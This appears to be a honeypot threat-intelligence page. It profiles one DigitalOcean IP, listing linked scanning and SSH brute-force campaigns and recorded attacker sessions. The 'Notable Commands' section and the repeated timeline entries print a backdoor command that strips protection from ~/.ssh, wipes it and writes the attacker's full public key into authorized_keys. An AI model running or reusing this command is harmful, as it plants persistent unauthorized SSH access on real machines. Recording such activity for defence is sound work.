← Back to feed
Location
🇩🇪 DE / Frankfurt am Main
ASN
AS14061 · DigitalOcean, LLC
Cloud Provider
DigitalOcean
Total Events
369
Top 10% by volume
Agent Count
2
First / Last Seen
2026-04-21 22:25 — 2026-04-23 14:57
Attack Types
MITRE ATT&CK Techniques
Reconnaissance
Initial Access
Defense Evasion
Command and Control
External Corroboration
Blocklist.de
blocklist_de:reported
Campaigns
Multi-Agent Scan
SCAN
Active
medium
32 IPs
5146 events
2026-03-31 — ongoing · 32 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
HASSH af8223ac9914… — SSH-2.0-libssh_0.12.0 (273 IPs, 59 countries)
HASSH
Active
high
🇮🇩 ID
273 IPs
90053 events
ssh:bruteforce
2026-02-28 — ongoing · 273 IPs are running an identical SSH client (HASSH fingerprint af8223ac9914…). Top network: PT Cloud Hosting Indonesia (AS136052). …
Multi-Agent Scan
SCAN
Active
medium
83 IPs
329137 events
2026-02-26 — ongoing · 83 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
54 IPs
9203 events
2026-02-26 — ongoing · 54 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
72 IPs
315234 events
2026-02-26 — ongoing · 72 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
62 IPs
29145 events
2026-02-24 — ongoing · 62 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
71 IPs
321540 events
2026-02-24 — ongoing · 71 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan
SCAN
Active
medium
70 IPs
320694 events
2026-02-24 — ongoing · 70 IPs independently targeted the same honeypot sensors within a 24-hour window. Hosted on DO. Scanning the same …
Multi-Agent Scan
SCAN
Active
medium
70 IPs
314707 events
2026-02-24 — ongoing · 70 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Session Forensics
Sessions
53 (26 with login)
Avg Depth Score
0.47
Commands Executed
39
Files Downloaded
13
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
SSH Client
Evidence Timeline
Malware Dropper
9ab88924adaf
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
fe3a365148b2
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Opportunistic Bruter
9c2f78b2cd1e
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
da9258d67f87
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
4fcb2409ef28
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
2d249748451a
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
f1f0ab834a99
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
80e9bd32fb94
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Opportunistic Bruter
84e5a573654a
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
82fd9b2acc81
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
e42c00b08ce5
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
55c828c4be22
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
315429b0ca38
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
c6e9090aa59e
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
9317487fd185
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
bfc465da3b57
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
c8497e3adae1
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
7706f41b90df
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Opportunistic Bruter
4a7fd16e3c9e
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
3853be02973d
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
b2f560e141e9
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
5396e6b83722
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
0729dde8f9ad
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
af804595e613
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…